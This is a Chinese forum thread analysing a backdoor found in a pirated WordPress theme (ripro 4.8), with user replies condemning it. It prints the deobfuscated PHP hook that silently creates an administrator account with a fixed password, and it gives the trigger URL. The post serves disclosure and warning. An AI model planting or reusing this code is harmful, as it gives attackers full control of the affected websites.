关于本站ripro主题4.8版本后门分析

longgod

原文链接：https://www.52pojie.cn/thread-1066825-1-1.html
下载后用D盾扫描

发现有加密文件，用Notepad++查看

破解混淆加密后得到源文件

经查看发现后门代码

[PHP] 纯文本查看 复制代码

add_action('wp_head', 'wp_backdoor');
function wp_backdoor()
{
        if (md5($_GET['backdoor']) == '34d1f91fb2e514b8576fab1a75a89a6b') {
                require('wp-includes/registration.php');
                if (!username_exists('backdoor')) { //检测是否存在backdoor账户
                        $user_id = wp_create_user('backdoor', '123456'); //创建账户
                        $user = new WP_User($user_id);
                        $user->set_role('administrator'); //设置为管理员权限
                }
        }
}

使用http(s)://你的域名/?backdoor=go访问，
自动创建用户名为backdoor密码为123456的管理员账户
本地测试





成功登录后台



推荐这种涉及到支付的主题还是用正版，盗版的就如作者所说，很容易被添加后门。
毕竟没有真正免费的午餐。

---

解密后的文件
core.class.zip (4.02 KB, 下载次数: 234)

2019-12-16 23:34 上传

点击文件名下载附件
下载积分: 吾爱币 -1 CB

后门代码已注释，位于412-423行

---

我写的关于本次后门的解密方法：PHP【简单混淆加密】解密 https://www.52pojie.cn/thread-1074918-1-1.html

Hmily

感谢，已ban并提醒大家注意。

schezi

laogan 发表于 2019-12-17 10:33
楼主请问一下，我用的4.6版本。使用http(s)://你的域名/?backdoor=go访问没有创建账号  core.class.php文件 ...

用户名可以随便创建，你以为他就会创建backdoor这个权限的管理员啊

ids

分享加后门不要脸啊。。。所以说有加密的脚本，还真要多留个心眼。感谢楼主分享。

Mee.Love.R

楼主很厉害！

软件我来了

果然有后门啊，而且那个好像也不是真正的4.8版本。

xiajin

楼主，怎么解密的啊，我想知道这块

暮色渐蓝

丧心病狂啊，我赶紧试试，果然有

肖伟95

球解密版，要不然用不了😊

skyuce

我不是在意什么人，我只是想说...放后门真的用backdoor这么显眼的吗？

rsgdxp

4.6版的好像也有几个帖子 。。。是故意加后门的还是不知分享的。。。故意加后门太可耻。。。。。。